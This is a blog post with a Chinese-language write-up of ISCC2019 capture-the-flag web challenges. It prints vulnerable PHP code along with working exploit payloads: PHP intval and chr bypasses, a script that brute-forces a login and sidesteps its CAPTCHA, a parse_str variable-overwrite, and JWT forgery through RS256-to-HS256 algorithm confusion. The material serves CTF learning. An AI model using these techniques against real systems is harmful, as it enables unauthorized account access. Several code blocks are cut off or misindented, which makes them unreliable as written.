




ISCC2019Writeup

原创

火柴人  于 2019-07-10 09:29:41 发布  452  收藏 1

版权声明：本文为博主原创文章，遵循 [CC 4.0 BY-SA](https://creativecommons.org/licenses/by-sa/4.0/) 版权协议，转载请附上原文出处链接和本声明。

本文链接：https://blog.csdn.net/weixin_43536759/article/details/106785180

版权

web1

源码如下

```
<?php
error_reporting(0);
require 'flag.php';
$value = $_GET['value'];
$password = $_GET['password'];
$username = '';

for ($i = 0; $i < count($value); ++$i) {
    if ($value[$i] > 32 && $value[$i] < 127) unset($value);
    else $username .= chr($value[$i]);
    if ($username == 'w3lc0me_To_ISCC2019' && intval($password) < 2333 && intval($password + 1) > 2333) {
        echo 'Hello '.$username.'!', '<br>', PHP_EOL;
        echo $flag, '<hr>';
    }
}

highlight_file(__FILE__);
```

关键代码

```
if ($value[$i] > 32 && $value[$i] < 127) unset($value);
else $username .= chr($value[$i]);
if ($username == 'w3lc0me_To_ISCC2019' && intval($password) < 2333 && intval($password + 1) > 2333) {
    echo 'Hello '.$username.'!', '<br>', PHP_EOL;
    echo $flag, '<hr>';
}
```

查php手册资料得知chr()函数是值除以256取余数，这里我们需要自己数组来chr()为w3lc0me_To_ISCC2019

1.chr为自动取模256，所以我们可以我们在原来数值加上256的倍数

2.intval()在处理16进制存在问题时存在漏洞，即当intval(字符串)为0，但是intval(字符串+1)会自动转换成数值的(PHP7里面修复了这个东西)

```
var_dump(intval('0x2')) //int(0)字符串形式输入
var_dump(intval('0xa'+1)) //int(11)数值形式输入
```

3.intval()在处理科学计数法时同处理十六进制一样的原理(不知道修复了没有)，所以也可以用科学计数法绕过intval()函数。

```
var_dump(intval('2e2'))          //int(2)字符串形式输入
var_dump(intval('2e2'+1))       //int(201)数值形式输入
```

4.intval()也可以用\$password='2332.9999999999999999999999999999'来绕过，无法绕过时，继续增加9的数量，直到可以绕过为止。

5.intal()不能用八进制，十进制绕过

所以我们可以构造payload

```
http://39.100.83.188:8001/?value[]=0x177&value[]=307&value[]=364&value[]=355&value[]=304&value[]=365&value[
```

web2

知识点：暴力破解 验证码绕过

1.我们先讲一下验证码机制原理，验证码在后端被绘制好后会将生成的字符串保存在session中，当客户端输入验证码完毕后，会提交到后端与session比较。

2.本题中有一个漏洞是，如果没有向服务器请求验证码，就不产生session，不带上cookie访问的话，那么验证码就形同虚设，而且密码是三位数字，所以可以进行暴力破解。

3.可以用burp抓包暴力破解，注意的是要把请求头的Cookie去掉。

4.也可以用Python脚本：

```
import requests

# session = requests.Session()

for i in range(1, 999):
    password = str(i)
    if len(password) == 1:
        password = '00' + password
    elif len(password) == 2:
        password = '0' + password

    r = requests.post("http://39.100.83.188:8002/login.php", data = {'username': 'admin', 'pwd': password,
                                                                    r.encoding = 'unicode'
                                                                    print(password + ' ' + r.text)
                                                                    if r.text != '密码错误':
                                                                        break
```

web4

知识点：代码审计，函数使用不当，变量覆盖

源码：

```

<?php
error_reporting(0);
include("flag.php");
$hashed_key = 'ddbafb4eb89e218701472d3f6c087fdf7119dfdd560f9d1fcbe7482b0feea05a';
$parsed = parse_url($_SERVER['REQUEST_URI']);
if(isset($parsed["query"])){
    $query = $parsed["query"];
    $parsed_query = parse_str($query);
    if($parsed_query!=NULL){
        $action = $parsed_query['action'];
    }

    if($action==="auth"){
        $key = $_GET["key"];
        $hashed_input = hash('sha256', $key);
        if($hashed_input!=$hashed_key){
            die("<img src='cxk.jpg'>");
        }

        echo $flag;
    }
}else{
    show_source(__FILE__);
}??>

```

1.parse_str存在变量覆盖漏洞，从URL得到的查询字符串，会被解析为变量并设置到当前作用域。

2.所以我们将hashed_key覆盖为我们想要的值即

可,sha256("glzjin")=b262138fc423f9f944a3161a28e3e7e3a1e779c39c5240f0399f923053e6e371, payload 如下:

```
/?action=auth&key=glzjin&hashed_key=b262138fc423f9f944a3161a28e3e7e3a1e779c39c5240f0399f923053e6e371
```

web5

web6

知识点：代码泄露，JWT原理

1.抓包可以找到Authorization,所以应该是考察JWT。

2.可以直接到<https://jwt.io/> 解码。本题可以直接在这个网页得到公钥，不过也可以查看网页源码看到/static/js/common.js,

最后有一段

```

function getpubkey(){
    /*
    get the pubkey for test
    /pubkey/{md5(username+password)}
    */
}

```

这里有得到公钥的另一个方法。

3.我们尝试更改alg所指的算法，将其从RS256这种非对称加密改成HS256这种对称加密，这样我们有公钥就可以伪造JET Token从而而所欲为了。

4.用得到的公钥写Python脚本来伪造令牌。（这里jwt如果用最新版本的模块会报错）

```
#!/usr/bin/env python
import jwt
import base64

public = "-----BEGIN PUBLIC KEY-----\nMIGfMA0GCsqGSIb3DQEBAQUAA4GNADCBiQKBgQDMRTzM9ujkHmh42aXG0aHZk/PK\nomh

print(jwt.encode({"name": "fangjun","priv": "admin"}, key=public, algorithm='HS256'))
```

5.得到的JWT Token可以抓包修改Authorization头，也可以直接按F12在本地储存（LocalStorage）中修改token的值然后可以得到我们想要的东西。

6.然后访问/text/admin:22f1e0aa7a31422ad63480aa27711277。

7.得到flag。

参考链接

<https://www.anquanke.com/post/id/145540#h2-11>

<https://www.cnblogs.com/dliv3/p/7450057.html#%E9%99%84-%E7%9B%B8%E5%85%B3%E5%B7%A5%E5%85%B7>

https://blog.csdn.net/weixin_34357267/article/details/87578554

<https://xz.aliyun.com/t/2338>